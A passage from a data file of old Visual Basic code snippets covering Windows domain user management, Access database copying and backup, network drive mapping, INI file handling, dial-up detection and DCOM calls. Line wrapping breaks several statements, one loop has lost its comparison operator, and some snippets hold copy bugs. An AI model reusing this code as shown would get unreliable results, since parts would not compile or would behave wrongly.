bCommentArray() As Byte\n Dim bScriptFileArray() As Byte\n \n Dim UserStruct As TUser1\n \n ' Move to byte arrays\n bSNArray = sSName & vbNullChar\n bUNArray = sUName & vbNullChar\n bPWDArray = sPWD & vbNullChar\n bHomeDirArray = sHomeDir & vbNullChar\n bCommentArray = sComment & vbNullChar\n bScriptFileArray = sScriptFile & vbNullChar\n \n ' Allocate buffer space\n lResult = NetAPIBufferAllocate(UBound(bUNArray) + 1, lUNPtr)\n lResult = NetAPIBufferAllocate(UBound(bPWDArray) + 1, lPWDPtr)\n lResult = NetAPIBufferAllocate(UBound(bHomeDirArray) + 1, lHomeDirPtr)\n lResult = NetAPIBufferAllocate(UBound(bCommentArray) + 1, lCommentPtr)\n lResult = NetAPIBufferAllocate(UBound(bScriptFileArray) + 1, lScriptFilePtr)\n \n ' Copy arrays to the buffer\n lResult = StrToPtr(lUNPtr, bUNArray(0))\n lResult = StrToPtr(lPWDPtr, bPWDArray(0))\n lResult = StrToPtr(lHomeDirPtr, bHomeDirArray(0))\n lResult = StrToPtr(lCommentPtr, bCommentArray(0))\n lResult = StrToPtr(lScriptFilePtr, bScriptFileArray(0))\n \n With UserStruct\n .ptrName = lUNPtr\n .ptrPassword = lPWDPtr\n .dwPasswordAge = 3\n .dwPriv = USER_PRIV_USER\n .ptrHomeDir = lHomeDirPtr\n .ptrComment = lCommentPtr\n .dwFlags = UF_NORMAL_ACCOUNT Or UF_SCRIPT\n .ptrScriptHomeDir = lScriptFilePtr\n End With\n \n ' Create the new user\n lResult = NetUserAdd1(bSNArray(0), 1, UserStruct, lParmError)\n DomainCreateUser = lResult\n If lResult <> 0 Then\n Call NetErrorHandler(lResult, \" when creating new user \" & sUName)\n End If\n \n ' Release buffers from memory\n lResult = NetAPIBufferFree(lUNPtr)\n lResult = NetAPIBufferFree(lPWDPtr)\n lResult = NetAPIBufferFree(lHomeDirPtr)\n lResult = NetAPIBufferFree(lCommentPtr)\n lResult = NetAPIBufferFree(lScriptFilePtr)\nEnd Function\nPublic Function DomainDestroyUser(ByVal sSName As String, ByVal sUName As String)\n'Destroy an existing user with user id sUName\n'from current PDC with sSName\n Dim lResult As Long\n Dim lParmError As Long\n \n Dim bSNArray() As Byte\n Dim bUNArray() As Byte\n \n ' Move to byte arrays\n bSNArray = sSName & vbNullChar\n bUNArray = sUName & vbNullChar\n \n lResult = NetUserDel(bSNArray(0), bUNArray(0))\n If lResult = 0 Then\n DomainDestroyUser = True\n Else\n Call NetErrorHandler(lResult, \"delete user '\" & sUName & \"' from server '\" & \nsSName & \"'.\")\n DomainDestroyUser = False\n End If\n \nEnd Function\n"},{"WorldId":1,"id":534,"LineNumber":1,"line":"Function Member(ary$(), text$)\n On Local Error GoTo MemberExit\n For i = 1 To UBound(ary$)\n If text$ = ary$(i) Then\n subscript = i\n Exit For\n End If\n Next\nMemberExit:\n Member = subscript \nEnd Function\n;========================================\nanother possibility;\nFunction ArrayElements(ary$())\n elements = 0 \n On Local Error GoTo MemberExit\n elements = UBound(ary$)\nMemberExit:\n ArrayElements = elements\nEnd Function\n"},{"WorldId":1,"id":540,"LineNumber":1,"line":"Private Sub Form_Load()\n \n Dim dbFrom As Database\n Dim dbTo As Database\n \n Set dbFrom = workspaces(0).opendatabase(\"c:\\vb4\\biblio.mdb\")\n Set dbTo = workspaces(0).opendatabase(\"c:\\vb4\\biblio.mdb\")\n \n db_Copy_Tabledef dbFrom, dbTo, \"Authors\", \"CopyOfAuthors\"\n \n dbFrom.Close\n dbTo.Close\n \nEnd Sub\nPublic Function db_Copy_Tabledef(dbFrom As Database, dbTo As Database,\nTableNameFrom As String, TableNameTo As String) As Boolean\n \n Dim tdFrom As TableDef\n Dim tdTo As TableDef\n Dim fldFrom As Field\n Dim fldTo As Field\n Dim ndxFrom As Index\n Dim ndxTo As Index\n Dim FunctionName As String\n Dim Found As Boolean\n \n On Error Resume Next\n \n For Each tdFrom In dbFrom.TableDefs\n \n '-----------------------------\n 'Loop until find the table def\n '-----------------------------\n If LCase$(tdFrom.Name) = LCase$(TableNameFrom) Then\n \n Found = True\n \n '----------------------\n 'Create Table defintion\n '----------------------\n Set tdTo = dbTo.CreateTableDef(TableNameTo)\n \n '------------------------------\n 'Copy each field and attributes\n '------------------------------\n For Each fldFrom In dbFrom.TableDefs(tdFrom.Name).Fields\n Set fldTo = tdTo.CreateField(fldFrom.Name)\n \n fldTo.Type = fldFrom.Type\n fldTo.DefaultValue = fldFrom.DefaultValue\n fldTo.Required = fldFrom.Required\n Select Case fldFrom.Type\n Case dbText\n fldTo.Size = fldFrom.Size\n fldTo.Attributes = fldFrom.Attributes\n fldTo.AllowZeroLength = fldTo.AllowZeroLength\n Case dbMemo\n fldTo.AllowZeroLength = fldTo.AllowZeroLength\n Case Else\n End Select\n \n tdTo.Fields.Append fldTo\n \n If Err.Number > 0 Then\n MsgBox \"Error adding field to table \" & TableNameTo &\n\".\", vbCritical, FunctionName\n Exit Function\n End If\n Next\n \n '-----------------------\n 'Copy Index defintion(s)\n '-----------------------\n For Each ndxFrom In dbFrom.TableDefs(tdFrom.Name).Indexes\n Set ndxTo = tdTo.CreateIndex(ndxFrom.Name)\n \n ndxTo.Required = ndxFrom.Required\n ndxTo.IgnoreNulls = ndxFrom.IgnoreNulls\n ndxTo.Primary = ndxFrom.Primary\n ndxTo.Clustered = ndxFrom.Clustered\n ndxTo.Unique = ndxFrom.Unique\n \n '---------------------\n 'Copy each index field\n '---------------------\n For Each fldFrom In\ndbFrom.TableDefs(tdFrom.Name).Indexes(ndxFrom.Name).Fields\n Set fldTo = ndxTo.CreateField(fldFrom.Name)\n ndxTo.Fields.Append fldTo\n \n If Err.Number > 0 Then\n MsgBox \"Error adding field to index in table \" &\nTableNameTo & \".\", vbCritical, FunctionName\n Exit Function\n End If\n Next\n \n tdTo.Indexes.Append ndxTo\n \n If Err.Number > 0 Then\n MsgBox \"Error adding index to table \" & TableNameTo &\n\".\", vbCritical, FunctionName\n Exit Function\n End If\n Next\n \n dbTo.TableDefs.Append tdTo\n \n If Err.Number > 0 Then\n MsgBox \"Error adding table \" & TableNameTo & \".\", vbCritical,\nFunctionName\n Exit Function\n End If\n \n Exit For\n End If\n Next\n If Found Then\n db_Copy_Tabledef = True\n Else\n MsgBox \"Table \" & TableNameFrom & \" not found.\", vbExclamation,\nFunctionName\n End If\n \n On Error GoTo 0\nEnd Function\n"},{"WorldId":1,"id":557,"LineNumber":1,"line":"Function BackupDataBase (filename$) As Integer\n'**********************************************************************************\n'* PROCEDURE: BackupDataBase\n'* ARGS: filename$ -- name of new DataBase, defaults to current Dir\n'* RETURNS: TRUE/FALSE\n'* CREATED: 7/95\n'* REVISED: 8/2/95 GDK Changed to use the App's dir.\n'* Comments Creates newDataBase, and exports ALL existing tables in the\n'* Current database to it.\n'* ToDo: Backup current backup before writing over it. (part of backup\n'* archive system)\n'* Add new backup logging stuff to this function.(Date, location, etc.)\n'**********************************************************************************\nOn Error GoTo BackupDataBase_Err\n Dim newDB As Database, oldDB As Database, oldTable As TableDef\n Dim tempname As String, path As String, intIndex As Integer, numTables As Integer\n Dim intIndex2 As Integer, errorFlag As Integer\n 'backup defaults to current directory,...\n path = GetApplicationDir() & filename$\n 'replace above line with this one to pass a full path to this function\n 'path = filename$\n \n 'If database already exists, delete it.\n If MB_FileExists(path) Then\n Kill path\n End If\n \n 'create new file\n Set newDB = DBEngine.workspaces(0).CreateDatabase(path, DB_LANG_GENERAL)\n newDB.Close\n \n Set oldDB = DBEngine(0)(0)\n \n 'Get number of tables and their names\n numTables = oldDB.tabledefs.count - 1\n \n 'Actually export all the tables in the list.\n For intIndex = 0 To numTables\n tempname = oldDB.tabledefs(intIndex).name\n If ValidTableFilter(tempname) Then\n DoCmd TransferDatabase A_EXPORT, \"Microsoft Access\", path, A_TABLE, tempname, tempname\n End If\n Next intIndex\n \n BackupDataBase = True\nBackupDataBase_Exit:\n If errorFlag Then\n BackupDataBase = False\n \n 'if we errored out, then destroy the backup, (less risk of using incorrect file).\n If MB_FileExists(path) Then\n Kill path\n End If\n Else\n BackupDataBase = True\n End If\n Exit Function\nBackupDataBase_Err:\n MsgBox \"Backup Failed! Error: \" & Error$, 16, \"FUNCTION: BackupDataBase( \" & filename$ & \" )\"\n errorFlag = True\n Resume BackupDataBase_Exit\nEnd Function\nFunction GetApplicationDir () As String\n'***************************************************************************\n'* PROCEDURE: GetApplicationDir\n'* ARGS: NONE\n'* RETURNS: App's dir\n'* CREATED: 8/2/95 GDK\n'* REVISED:\n'* Comments Retrieves App's directory, (actually the current MDB's dir.)\n'***************************************************************************\n Dim d As Database, path As String, i%\n Set d = DBEngine(0)(0)\n path = d.name\n d.Close\n For i% = Len(path) To 0 Step -1\n If Mid$(path, i%, 1) = \"\\\" Then\n path = Left$(path, i%)\n Exit For\n End If\n Next i%\n GetApplicationDir = path\nEnd Function\n'*************************************************************\n'* FUNCTION: MB_FileExists\n'* ARGUMENTS: strFilename -- name of file to look for\n'* RETURNS: TRUE/FALSE -- TRUE = File Exists\n'* CREATED: 8/95 GDK Initial Code\n'* CHANGED: N/A\n'*************************************************************\nFunction MB_FileExists (strFileName As String) As Integer\n'\n'Check to see if file strFileName exists\n'\n If Len(Dir$(strFileName)) Then\n MB_FileExists = True\n End If\n \nEnd Function\n'***************************************************************\n'* FUNCTION: ValidTableFilter\n'* ARGUMENTS: tablename$ -- table to OK for export\n'* RETURNS: TRUE/FALSE -- TRUE = OK to export\n'* PURPOSE: Screen out invalid tables by testing them here.\n'* CREATED: 2/97 GDK Initial code\n'* CHANGES: N/A\n'***************************************************************\nFunction ValidTableFilter (tablename$) As Integer\nOn Error GoTo ValidTableFilter_Error:\n If Left$(tablename$, 4) = \"MSys\" Then\n Exit Function\n End If\n If tablename$ = \"\" Then\n Exit Function\n End If\n\n 'Add test functions above this line.\n ValidTableFilter = True\nValidTableFilter_Exit:\n Exit Function\nValidTableFilter_Error:\n MsgBox Error, 16, \"FUNCTION: ValidTableFilter( \" & tablename$ & \")\"\n Resume ValidTableFilter_Exit\nEnd Function\n"},{"WorldId":1,"id":558,"LineNumber":1,"line":"Public Function DecToBin(ByVal DecNumber As Currency) As String\n \nOn Error GoTo DecToBin_Finally\nDim BinNumber As String\nDim i%\n \n For i = 64 To 0 Step -1\n If Int(DecNumber / (2 ^ i)) = 1 Then\n BinNumber = BinNumber & \"1\"\n DecNumber = DecNumber - (2 ^ i)\n Else\n If BinNumber <> \"\" Then\n BinNumber = BinNumber & \"0\"\n End If\n End If\n Next\n \n DecToBin = BinNumber\n \nDecToBin_Finally:\n \n If Err <> 0 Or BinNumber = \"\" Then DecToBin = \"-E-\"\n Exit Function\n \nEnd Function\n"},{"WorldId":1,"id":568,"LineNumber":1,"line":"Function EndOfMonth (D As Variant) As Variant\n EndOfMonth = DateSerial(Year(D), Month(D) + 1, 0)\nEnd Function"},{"WorldId":1,"id":583,"LineNumber":1,"line":"Function GetUNCPath(DriveLetter As String, DrivePath, ErrorMsg As\nString) As Long\nOn Local Error GoTo GetUNCPath_Err\nDim status As Long\nDim lpszLocalName As String\nDim lpszRemoteName As String\nDim cbRemoteName As Long\nlpszLocalName = DriveLetter\nIf Right$(lpszLocalName, 1) <> Chr$(0) Then lpszLocalName =\nlpszLocalName & Chr$(0)\nlpszRemoteName = String$(255, Chr$(32))\ncbRemoteName = Len(lpszRemoteName)\nstatus = WNetGetConnection(lpszLocalName, _\n lpszRemoteName, _\n cbRemoteName)\n \nGetUNCPath = status\nSelect Case status\n Case WN_SUCCESS\n ' all is successful...\n Case WN_NOT_SUPPORTED\n ErrorMsg = \"This function is not supported\"\n Case WN_OUT_OF_MEMORY\n ErrorMsg = \"The System is Out of Memory.\"\n Case WN_NET_ERROR\n ErrorMsg = \"An error occurred on the network\"\n Case WN_BAD_POINTER\n ErrorMsg = \"The network path is invalid\"\n Case WN_BAD_VALUE\n ErrorMsg = \"Invalid local device name\"\n Case WN_NOT_CONNECTED\n ErrorMsg = \"The drive is not connected\"\n Case WN_MORE_DATA\n ErrorMsg = \"The buffer was too small to return the fileservice\nname\"\n Case Else\n ErrorMsg = \"Unrecognized Error - \" & Str$(status) & \".\"\nEnd Select\nIf Len(ErrorMsg) Then\n DrivePath = \"\"\nElse\n ' Trim it, and remove any nulls\n DrivePath = StripNulls(lpszRemoteName)\nEnd If\nGetUNCPath_End:\n Exit Function\nGetUNCPath_Err:\n MsgBox Err.Description, vbInformation\n Resume GetUNCPath_End\nEnd Function\n'---------------------------------------------------------------------------------------------------\n' GetUserName routine\n'---------------------------------------------------------------------------------------------------\nFunction sGetUserName() As String\n Dim lpBuffer As String * 255\n Dim lRet As Long\n lRet = GetUserName(lpBuffer, 255)\n sGetUserName = StripNulls(lpBuffer)\nEnd Function\n'---------------------------------------------------------------------------------------------------\n' StripNulls routine\n'---------------------------------------------------------------------------------------------------\nPrivate Function StripNulls(s As String) As String\n'Truncates string at first null character, any text after first null\nis lost\nDim I As Integer\n StripNulls = s\n If Len(s) Then\n I = InStr(s, Chr$(0))\n If I Then StripNulls = Left$(s, I - 1)\n End If\nEnd Function\n'---------------------------------------------------------------------------------------------------\n' MapNetworkDrive routine\n'---------------------------------------------------------------------------------------------------\nFunction MapNetworkDrive(UNCname As String, _\n Password As String, _\n DriveLetter As String, _\n ErrorMsg As String) As Long\n \nDim status As Long\nDim tUNCname As String, tPassword As String, tDriveLetter As String\nOn Local Error GoTo MapNetworkDrive_Err\n \ntUNCname = UNCname\ntPassword = Password\ntDriveLetter = DriveLetter\nIf Right$(tUNCname, 1) <> Chr$(0) Then tUNCname = tUNCname & Chr$(0)\nIf Right$(tPassword, 1) <> Chr$(0) Then tPassword = tPassword &\nChr$(0)\nIf Right$(tDriveLetter, 1) <> Chr$(0) Then tDriveLetter = tDriveLetter\n& Chr$(0)\nstatus = WNetAddConnection(tUNCname, tPassword, tDriveLetter)\nSelect Case status\n Case WN_SUCCESS\n ErrorMsg = \"\"\n Case WN_NOT_SUPPORTED\n ErrorMsg = \"Function is not supported.\"\n Case WN_OUT_OF_MEMORY:\n ErrorMsg = \"The system is out of memory.\"\n Case WN_NET_ERROR\n ErrorMsg = \"An error occurred on the network.\"\n Case WN_BAD_POINTER\n ErrorMsg = \"The network path is invalid.\"\n Case WN_BAD_NETNAME\n ErrorMsg = \"Invalid network resource name.\"\n Case WN_BAD_PASSWORD\n ErrorMsg = \"The password is invalid.\"\n Case WN_BAD_LOCALNAME\n ErrorMsg = \"The local device name is invalid.\"\n Case WN_ACCESS_DENIED\n ErrorMsg = \"A security violation occurred.\"\n Case WN_ALREADY_CONNECTED\n ErrorMsg = \"This drive letter is already connected to a\nnetwork drive.\"\n Case Else\n ErrorMsg = \"Unrecognized Error - \" & Str$(status) & \".\"\nEnd Select\nMapNetworkDrive = status\nMapNetworkDrive_End:\n Exit Function\nMapNetworkDrive_Err:\n MsgBox Err.Description, vbInformation\n Resume MapNetworkDrive_End\nEnd Function\n'---------------------------------------------------------------------------------------------------\n' DisconnectNetworkDrive routine\n'---------------------------------------------------------------------------------------------------\nFunction DisconnectNetworkDrive(DriveLetter As String, _\n ForceFileClose As Long, _\n ErrorMsg As String) As Long\n \nDim status As Long\nDim tDriveLetter As String\nOn Local Error GoTo DisconnectNetworkDrive_Err\n \ntDriveLetter = DriveLetter\nIf Right$(tDriveLetter, 1) <> Chr$(0) Then tDriveLetter = tDriveLetter\n& Chr$(0)\nstatus = WNetCancelConnection(tDriveLetter, ForceFileClose)\nSelect Case status\n Case WN_SUCCESS\n ErrorMsg = \"\"\n Case WN_BAD_POINTER:\n ErrorMsg = \"The network path is invalid.\"\n Case WN_BAD_VALUE\n ErrorMsg = \"Invalid local device name\"\n Case WN_NET_ERROR:\n ErrorMsg = \"An error occurred on the network.\"\n Case WN_NOT_CONNECTED\n ErrorMsg = \"The drive is not connected\"\n Case WN_NOT_SUPPORTED\n ErrorMsg = \"This function is not supported\"\n Case WN_OPEN_FILES\n ErrorMsg = \"Files are in use on this service. Drive was not\ndisconnected.\"\n Case WN_OUT_OF_MEMORY:\n ErrorMsg = \"The System is Out of Memory\"\n Case Else:\n ErrorMsg = \"Unrecognized Error - \" & Str$(status) & \".\"\nEnd Select\nDisconnectNetworkDrive = status\nDisconnectNetworkDrive_End:\n Exit Function\nDisconnectNetworkDrive_Err:\n MsgBox Err.Description, vbInformation\n Resume DisconnectNetworkDrive_End\nEnd Function\n"},{"WorldId":1,"id":584,"LineNumber":1,"line":"\nFunction mfncGetFromIni (strSectionHeader As String, strVariableName As\nString, strFileName As String) As String\n \n '*** DESCRIPTION: Reads from an *.INI file strFileName (full path &\nfile name)\n '*** RETURNS: The string stored in [strSectionHeader], line\nbeginning strVariableName=\n '*** NOTE: Requires declaration of API call\nGetPrivateProfileString\n 'Initialise variable\n Dim strReturn As String\n \n 'Blank the return string\n strReturn = String(255, Chr(0))\n 'Get requested information, trimming the returned string\n mfncGetFromIni = Left$(strReturn,\nGetPrivateProfileString(strSectionHeader, ByVal strVariableName, \"\",\nstrReturn, Len(strReturn), strFileName))\nEnd Function\nFunction mfncParseString (strIn As String, intOffset As Integer,\nstrDelimiter As String) As String\n '*** DESCRIPTION: Parses the passed string, returning the value\nindicated\n '*** by the offset specified, eg: the string \"Hello,\nWorld\",\n '*** offset 2 = \"World\".\n '*** RETURNS: See description.\n '*** NOTE: The offset starts at 1 and the delimiter is the\ncharacter\n '*** which separates the elements of the string.\n 'Trap any bad calls\n If Len(strIn) = 0 Or intOffset = 0 Then\n mfncParseString = \"\"\n Exit Function\n End If\n 'Declare local variables\n Dim intStartPos As Integer\n ReDim intDelimPos(10) As Integer\n Dim intStrLen As Integer\n Dim intNoOfDelims As Integer\n Dim intCount As Integer\n Dim strQuotationMarks As String\n Dim intInsideQuotationMarks As Integer\n strQuotationMarks = Chr(34) & Chr(147) & Chr(148)\n intInsideQuotationMarks = False\n For intCount = 1 To Len(strIn)\n 'If character is a double-quote then toggle the In Quotation flag\n If InStr(strQuotationMarks, Mid$(strIn, intCount, 1)) <> 0 Then\n intInsideQuotationMarks = (Not intInsideQuotationMarks)\n End If\n If (Not intInsideQuotationMarks) And (Mid$(strIn, intCount, 1) =\nstrDelimiter) Then\n intNoOfDelims = intNoOfDelims + 1\n 'If array filled then enlarge it, keeping existing contents\n If (intNoOfDelims Mod 10) = 0 Then\n ReDim Preserve intDelimPos(intNoOfDelims + 10)\n End If\n intDelimPos(intNoOfDelims) = intCount\n End If\n Next intCount\n 'Handle request for value not present (over-run)\n If intOffset > (intNoOfDelims + 1) Then\n mfncParseString = \"\"\n Exit Function\n End If\n 'Handle boundaries of string\n If intOffset = 1 Then\n intStartPos = 1\n End If\n 'Requesting last value - handle null\n If intOffset = (intNoOfDelims + 1) Then\n If Right$(strIn, 1) = strDelimiter Then\n intStartPos = -1\n intStrLen = -1\n mfncParseString = \"\"\n Exit Function\n Else\n intStrLen = Len(strIn) - intDelimPos(intOffset - 1)\n End If\n End If\n 'Set start and length variables if not handled by boundary check above\n If intStartPos = 0 Then\n intStartPos = intDelimPos(intOffset - 1) + 1\n End If\n If intStrLen = 0 Then\n intStrLen = intDelimPos(intOffset) - intStartPos\n End If\n 'Set the return string\n mfncParseString = Mid$(strIn, intStartPos, intStrLen)\n \nEnd Function\nFunction mfncWriteIni (strSectionHeader As String, strVariableName As\nString, strValue As String, strFileName As String) As Integer\n '*** DESCRIPTION: Writes to an *.INI file called strFileName (full\npath & file name)\n '*** RETURNS: Integer indicating failure (0) or success (other)\nto write\n '*** NOTE: Requires declaration of API call\nWritePrivateProfileString\n 'Call the API\n mfncWriteIni = WritePrivateProfileString(strSectionHeader,\nstrVariableName, strValue, strFileName)\nEnd Function"},{"WorldId":1,"id":601,"LineNumber":1,"line":"Function CreateNewUser% (ByVal username$, ByVal password$, ByVal PID$)\n '- create a new user.\n '- username$ - name\n '- password$ - user password\n '- PID$ - PID of user\n '-----------------------------------\n Dim NewUser As User\n Dim admin_ws As WorkSpace\n '=====================================\n '- check PID\n If (Len(PID$) < 4 Or Len(PID$) > 20) Then\n MsgBox \"Invalid PID\", SHOWICON_STOP\n CreateNewUser% = True\n Exit Function\n End If\n '- verify that user does not yet exist\n If (UserExist%(username$)) Then\n CreateNewUser% = True\n Exit Function\n End If\n '- open new workspace and database as admin\n dbEngine.Workspaces.Refresh\n Set admin_ws = dbEngine.CreateWorkspace(\"TempWorkSpace\",\n ADMIN_USER, ADMIN_PASSWORD)\n If (Err) Then\n '- failed opening workspace\n MsgBox \"invalid administrator password\", SHOWICON_STOP\n MsgBox \"Error: \" & Error$, SHOWICON_STOP, SystemName\n CreateNewUser% = True\n Exit Function\n End If\n \n On Error Resume Next\n '- create the new user\n Set NewUser = admin_ws.CreateUser(username$, PID$, password$)\n If (Err) Then\n MsgBox \"Can't create new user.\", SHOWICON_STOP\n MsgBox Error$, SHOWICON_STOP\n GoTo CreateNewUser_end\n End If\n '- add user to user list\n admin_ws.Users.Append NewUser\n '- add user to \"Users\" group\n Set NewUser = admin_ws.CreateUser(username$)\n admin_ws.Groups(\"Users\").Users.Append NewUser\n admin_ws.Users(username$).Groups.Refresh\n admin_ws.Close\n CreateNewUser% = False\nCreateNewUser_end:\n On Error GoTo 0\nEnd Function\n"},{"WorldId":1,"id":721,"LineNumber":1,"line":"Public Function Connected_To_ISP() As Boolean\r\n \r\nDim hKey As Long\r\nDim lpSubKey As String\r\nDim phkResult As Long\r\nDim lpValueName As String\r\nDim lpReserved As Long\r\nDim lpType As Long\r\nDim lpData As Long\r\nDim lpcbData As Long\r\n Connected_To_ISP = False\r\n \r\n lpSubKey = \"System\\CurrentControlSet\\Services\\RemoteAccess\"\r\n ReturnCode = RegOpenKey(HKEY_LOCAL_MACHINE, lpSubKey, phkResult)\r\n \r\n If ReturnCode = ERROR_SUCCESS Then\r\n hKey = phkResult\r\n lpValueName = \"Remote Connection\"\r\n lpReserved = APINULL\r\n lpType = APINULL\r\n lpData = APINULL\r\n lpcbData = APINULL\r\n ReturnCode = RegQueryValueEx(hKey, lpValueName, lpReserved, lpType,\r\nByVal lpData, lpcbData)\r\n \r\n lpcbData = Len(lpData)\r\n ReturnCode = RegQueryValueEx(hKey, lpValueName, lpReserved, lpType,\r\nlpData, lpcbData)\r\n If ReturnCode = ERROR_SUCCESS Then\r\n If lpData = 0 Then\r\n ' Not Connected\r\n Else\r\n ' Connected\r\n Connected_To_ISP = True\r\n End If\r\n End If\r\n RegCloseKey (hKey)\r\n End If\r\nEnd Function\r\n> 2) Once I determine that I'd like to disconnect, How do I do \r\n> that? It seems like I need some interface to DUN to do it.\r\nUse RasHangUp. In this example I display a splash screen (frmHangupSplash)\r\nwhile the hangup is in progress. You'll want to set gstrISPName =\r\nGet_ISP_Name() before calling HangUp(), or better yet modify HangUP and\r\npass the DUN connection name (the ISP) as a parameter..\r\nPublic Sub HangUp()\r\nDim i As Long\r\nDim lpRasConn(255) As RasConn\r\nDim lpcb As Long\r\nDim lpcConnections As Long\r\nDim hRasConn As Long\r\n \r\n frmHangupSplash.Show\r\n frmHangupSplash.Refresh\r\n \r\n lpRasConn(0).dwSize = RAS_RASCONNSIZE\r\n lpcb = RAS_MAXENTRYNAME * lpRasConn(0).dwSize\r\n lpcConnections = 0\r\n \r\n ReturnCode = RasEnumConnections(lpRasConn(0), lpcb, lpcConnections)\r\n ' Drop ALL the connections that match the currect\r\n ' connections name.\r\n \r\n If ReturnCode = ERROR_SUCCESS Then\r\n For i = 0 To lpcConnections - 1\r\n If Trim(ByteToString(lpRasConn(i).szEntryName)) =\r\nTrim(gstrISPName) Then\r\n hRasConn = lpRasConn(i).hRasConn\r\n ReturnCode = RasHangUp(ByVal hRasConn)\r\n End If\r\n Next i\r\n End If\r\n \r\n ' It takes about 3 seconds to drop the connection.\r\n \r\n Wait (3)\r\n \r\n While Connected_To_ISP\r\n Wait (1)\r\n Wend\r\n \r\n Unload frmHangupSplash\r\n \r\nEnd Sub\r\n\r\nPublic Sub Wait(sngSeconds As Single)\r\nDim sngEndTime As Single\r\n sngEndTime = Timer + sngSeconds\r\n \r\n While Timer < sngEndTime\r\n DoEvents\r\n Wend\r\n \r\nEnd Sub\r\n\r\nPublic Function Get_ISP_Name() As String\r\nDim hKey As Long\r\nDim lpSubKey As String\r\nDim phkResult As Long\r\nDim lpValueName As String\r\nDim lpReserved As Long\r\nDim lpType As Long\r\nDim lpData As String\r\nDim lpcbData As Long\r\n Get_ISP_Name = \"\"\r\n \r\n If gblnConnectedToISP Then\r\n lpSubKey = \"RemoteAccess\"\r\n ReturnCode = RegOpenKey(HKEY_CURRENT_USER, lpSubKey, phkResult)\r\n If ReturnCode = ERROR_SUCCESS Then\r\n hKey = phkResult\r\n lpValueName = \"Default\"\r\n lpReserved = APINULL\r\n lpType = APINULL\r\n lpData = APINULL\r\n lpcbData = APINULL\r\n ReturnCode = RegQueryValueEx(hKey, lpValueName, lpReserved,\r\nlpType, ByVal lpData, lpcbData)\r\n \r\n lpData = String(lpcbData, 0)\r\n ReturnCode = RegQueryValueEx(hKey, lpValueName, lpReserved,\r\nlpType, ByVal lpData, lpcbData)\r\n \r\n If ReturnCode = ERROR_SUCCESS Then\r\n ' Chop off the end-of-string character.\r\n Get_ISP_Name = Left(lpData, lpcbData - 1)\r\n End If\r\n RegCloseKey (hKey)\r\n End If\r\n End If\r\nEnd Function\r\n'***************************************************************************\r\n' Name: ByteToString\r\n' ' Description:* * * THIS IS A FOLLOWUP SUBMISSION * * *\r\nPurpose: Convert a string in byte format (usually from a DLL call) to a string of text.\r\nPLEASE POST THIS AS A FOLLOWUP OR ADD TO THE CODE SAMPLE TITLED \"Detect if there is a Dial up network connection\" attributed to me J Gerard Olszowiec, entity@ns.sympatico.ca. The newsgroup post that you captured had a followup post that included the ByteToString code. I've been receiving requets for this functions code. Much Thanx. - Gerard\r\n\r\n' By: Entity Software\r\n'\r\n' Inputs:None\r\n' Returns:None\r\n' Assumes:None\r\n' Side Effects:None\r\n'\r\n'Code provided by Planet Source Code(tm) 'as is', without\r\n' warranties as to performance, fitness, merchantability,\r\n' and any other warranty (whether expressed or implied).\r\n'***************************************************************************\r\n\r\n\r\nPublic Function ByteToString(bytString() As Byte) As String\r\n\r\n ' ' Convert a string in byte format (usually from a DLL call)\r\n ' ' to a string of text.\r\n Dim i As Integer\r\n ByteToString = \"\"\r\n i = 0\r\n\r\n While bytString(i) 0&\r\n ByteToString = ByteToString & Chr(bytString(i))\r\n i = i + 1\r\n Wend\r\n\r\nEnd Function\r\n\r\n"},{"WorldId":1,"id":722,"LineNumber":1,"line":"The function below is intended to be made a public function\nin a class library. Just say\ndim c as object\ndim d as object\nset c = createobject(\"whatever.yourobjectis\")\nset d = invokeDCOMObject(\"someserver\",\"someobject.someclass\")\nand you will get back an object reference to the remote DCOM object,\n(or d will still be Nothing if the invocation failed). Set d to\nnothing when you are done with the DCOM object.\nThe trick is to call CoCreateInstanceEx to do the dirty work - and get\nan iDispatch interface pointer in one step. This is very efficient,\ntoo. You get the interface by passing the 'well-known' REFIID of\niDispatch. If there is a way to programmatically do this I don't know\nhow, so I hard-coded the REFIID into a little routine.\n\n'class-level variable for storing last error. You might want to\nprovide a property get routine to retrieve it.\ndim clsLastError as string\nPublic Function InvokeDCOMOBject(remserver As String, objectname As\nString) As Object\n' Function which given a server and a object, will instantiate this\nobject on\n' the server specified [if remserver is \"\" then this means local\ncomputer]\n' We use CoCreateInstanceEx to do the dirty work.\nDim clsid(256) As Byte\nDim progid() As Byte\nDim server() As Byte\nDim qi As MULTI_QI\nDim st As SERV_STRUC\nDim refiid(16) As Byte\nDim lrc As Long\nclsLastError = \"\"\n'now, there is a special case. If remserver is null or is same as our\nmachine,\n'we do a local invoke instead and pass that back.\nIf remserver = \"\" Or UCase$(remserver) = UCase$(GetCompName()) Then\n On Error Resume Next\n Err = 0\n Set InvokeDCOMOBject = CreateObject(objectname)\n If Err <> 0 Then\n 'record last error\n clsLastError = Err.errdesc\n End If\n On Error GoTo 0\n Exit Function\nEnd If\n'otherwise, it is genuinely remote.\n'set an IID for IDispatch\nGetIIDforIDispatch refiid()\n'point to the IID\nqi.piid = VarPtr(refiid(0))\n'specify the object to be launched\nprogid = objectname & Chr$(0)\n'specify the server\nserver = remserver & Chr$(0)\n'initialise OLE\nlrc = OleInitialize(0)\n'get the CLSID for the object\nlrc = CLSIDFromProgID(progid(0), clsid(0))\nIf lrc <> 0 Then\n clsLastError = \"Unable to obtain CLSID from progid \" & objectname\n& vbCrLf & \"Possibly it is not registered on both this server and\nserver \" & remserver\n Exit Function\nEnd If\n'point to server name\nst.ptrserver = VarPtr(server(0))\n'invoke a remote instance of the desired object\nlrc = CoCreateInstanceEx(clsid(0), 0, 16, st, 1, qi)\nIf lrc <> 0 Then\n clsLastError = \"CoCreateInstanceEx failed with error code \" &\nHex$(lrc)\n Exit Function\nEnd If\n'pass back object ref.\nSet InvokeDCOMOBject = qi.pitf\nEnd Function\n\nPublic Sub GetIIDforIDispatch(p() As Byte)\n'fills in the well-known IID for IDispatch into the byte array p.\np(1) = 4\np(2) = 2\np(8) = &HC0\np(15) = &H46\nEnd Sub\nFunction GetCompName() As String\n'return the computer name\nDim buf As String\nDim rc As Long\nbuf = String$(256, 0)\nrc = GetComputerName(buf, Len(buf))\nIf InStr(buf, Chr$(0)) > 1 Then\n GetCompName = UCase$(Left$(buf, InStr(buf, Chr$(0)) - 1))\nEnd If\nEnd Function"},{"WorldId":1,"id":726,"LineNumber":1,"line":"Public Sub SendFileToPrinter()\n Dim FileName As String\n Dim s As Long\n Dim i As Integer\n \n For i = 0 To frmMain.List.ListCount - 1\n If frmMain.List.Selected(i) Then\n 